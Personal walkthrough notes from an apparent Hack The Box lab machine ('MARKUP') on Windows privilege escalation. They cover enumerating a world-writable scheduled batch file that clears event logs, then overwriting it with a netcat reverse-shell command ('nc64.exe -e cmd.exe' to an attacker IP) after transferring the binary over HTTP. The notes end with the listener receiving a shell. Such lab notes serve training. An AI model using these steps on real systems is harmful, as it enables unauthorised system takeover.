BATCH FILES

#privesc
#check current privileges
daniel@MARKUP C:\Users\daniel> whoami /priv
 Privilege Name                Description                    State
 ============================= ============================== =======
 SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
 SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

 * nothing pertinent
 
daniel@MARKUP C:\Users\daniel> dir c:\ 
 Volume in drive C has no label.   
 Volume Serial Number is BA76-B4E3 

 Directory of c:\

 03/12/2020  03:56 AM    <DIR>          Log-Management
 07/28/2021  03:38 AM                 0 Recovery.txt

 * these are the only two UNCOMMON files
    - always analyze UNCOMMON files prior to going into a rabbit hole
    
daniel@MARKUP C:\Users\daniel> type c:\Recovery.txt 
 blank file

daniel@MARKUP C:\Users\daniel> dir c:\Log-Management
 Volume in drive C has no label. 
 Volume Serial Number is BA76-B4E3

 Directory of c:\Log-Management

 03/06/2020  02:42 AM               346 job.bat

daniel@MARKUP C:\Users\daniel> type c:\Log-Management\job.bat 
 @echo off 
 FOR /F "tokens=1,2*" %%V IN ('bcdedit') DO SET adminTest=%%V
 IF (%adminTest%)==(Access) goto noAdmin
 for /F "tokens=*" %%G in ('wevtutil.exe el') DO (call :do_clear "%%G")
 echo.
 echo Event Logs have been cleared!
 goto theEnd
 :do_clear
 wevtutil.exe cl %1
 goto :eof
 :noAdmin
 echo You must run this script as an Administrator!
 :theEnd
 exit

 * understand the purpose of the batch file and what can be manipulated
 

#view file permission
daniel@MARKUP C:\Users\daniel> icacls c:\Log-Management\job.bat
 c:\Log-Management\job.bat BUILTIN\Users:(F)
                           NT AUTHORITY\SYSTEM:(I)(F)
                           BUILTIN\Administrators:(I)(F)
                           BUILTIN\Users:(I)(RX)

 Successfully processed 1 files; Failed processing 0 files


 * the wevtutil is used to interact with the Windows Event Log service
    - it can retrieve information about event logs and publishers and can 
      also install and uninstall event manifests, run queries and 
      export, archive and clear logs
    - the el (enumerate logs) parameter lists all event logs currently available
      on the system
    - the cl (clear log) clears the specified event log.
    
 * the icacls cmd is used to view, modify, back up, and restore NTFS file 
   and folder permissions (Access Control Lists, or ACLs).
    - it’s the modern replacement for older tools like cacls and xcacls.
    
 * the group BUILTIN\Users has full control (F) over the file. The BUILTIN\Users 
   group represents all local users
    - this includes the user Daniel


#use the batch script to execute the transferred netcat IOT execute a reverse shell
daniel@MARKUP C:\Users\daniel>tasklist /V
 ERROR: Access denied

daniel@MARKUP C:\Users\daniel>powershell
 Windows PowerShell
 Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Users\daniel> get-process

 Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id   SI ProcessName
 -------  ------    -----      -----     ------     --   -- -----------

 31       5         736        2068                 1824 1  wevtutil
 
root@htb:~$ wget https://github.com/rahuldottech/netcat-for-windows/releases/download/1.12/nc64.exe
 2025-05-10 21:42:31 (105 MB/s) - ‘nc64.exe’ saved [45272/45272]
 
root@htb:~$ python3 -m http.server 8081

PS C:\Users\daniel> wget http://10.10.14.215:8081/nc64.exe -OutFile nc64.exe
PS C:\Users\daniel> cmd
daniel@MARKUP C:\Users\daniel> cd c:\Log-Management
daniel@MARKUP c:\Log-Management>copy c:\users\daniel\nc64.exe c:\Log-Management
 1 file(s) copied.
daniel@MARKUP C:\Users\daniel> echo C:\Log-Management\nc64.exe -e cmd.exe 10.10.14.215 4321 > C:\Log-Management\job.bat

 * DO NOT enclosed the values in quotes!

daniel@MARKUP c:\Log-Management>type job.bat 
 C:\Log-Management\nc64.exe -e cmd.exe 10.10.14.215 4321

root@htb:~$ nc -nlvp 4321
 ...
 
 * wait for the script to execute
 
root@htb:~$ nc...
 listening on [any] 4321 ...
 connect to [10.10.14.215] from (UNKNOWN) [10.129.24.24] 49686
 Microsoft Windows [Version 10.0.17763.107]
 (c) 2018 Microsoft Corporation. All rights reserved.